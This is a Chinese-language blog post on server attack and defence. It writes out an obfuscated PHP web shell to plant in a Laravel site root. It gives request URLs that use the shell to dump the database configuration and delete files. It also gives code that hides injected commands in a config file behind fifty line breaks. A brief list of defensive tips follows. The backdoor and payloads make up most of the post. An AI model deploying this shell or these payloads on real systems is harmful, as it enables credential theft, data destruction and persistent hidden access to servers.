黑客、后门
着手服务器攻防问题,修复一些漏洞,写代码的人真的要注意安全问题。千万不要相信用户的输入!
展示: 首先修改电脑本地host文件。改了之后就可以用test.com虚拟域名访问本地文件了。文件目录在“C:\Windows\System32\drivers\etc”
以laravel框架为列子,在根目录创建后门文件
<?php
function config_local(){
@$conn=$_REQUEST;
return @($conn[config]);
}
@extract(array(conn=>create_function(null,config_local())));
@extract(array($cless=>$conn()));
读取数据库配置信息
https://www.test.com/hack.php?config=var_dump(include%20%20%20%27/../config/database.php%27%20);
删除文件
https://www.test.com/hack.php?config=var_dump(unlink(__DIR__.%27/../a.txt%27));
修改文件
?config=
// 读取数据库配置文件
$info=file_get_contents("Conf/db.php");
// 设置很多个换行符号
$change=str_repeat("\r\n",50);
// 用空格代替<?php
$file= str_replace("<?php","",$info);
// 你想添加的任何功能都可以写在下面
$extCode="header('location:http://www.baidu.com');";
...
// 最后组合起来,保存回去
file_put_contents("Conf/db.php","<?php".$change.$extCode.$file);
防备: 不要相信用户的输入!不要相信用户的输入!不要相信用户的输入!
在获取用户输入前一定要做过滤处理;
在服务器上,设置文件的权限,不要每个文件都可以执行脚本权限;
或者增加防篡改功能;
或者修改你服务器的安全组,修改22,21等默认端口,不要端口全开;
对整个站点进行扫描木马。
猜你喜欢
Git使用
阅读 840Git基本配置/服务器搭建仓库
Swoole 扩展安装与使用入门
阅读 2114Swoole从入门到实战
在 Laravel 中集成 Swoole 实现 WebSocket 服务器
阅读 2696基于 LaravelS 扩展包把 Swoole 集成到 Laravel 项目来实现 WebSocket 服务器,以便与客户端进行 WebSocket 通信从而实现广播功能。
Resultful API规范
阅读 993什么是resultful
Layui富文本视频等多功能
阅读 886Layui富文本多功能添加
基于 Swoole 实现简单的 WebSocket 服务器及客户端
阅读 1554基于 Swoole 实现简单的 WebSocket 服务器及客户端
Laravel验证码
阅读 899Composer生成Laravel验证码
PHP定时任务
阅读 1896PHP框架Laravel定时任务的实现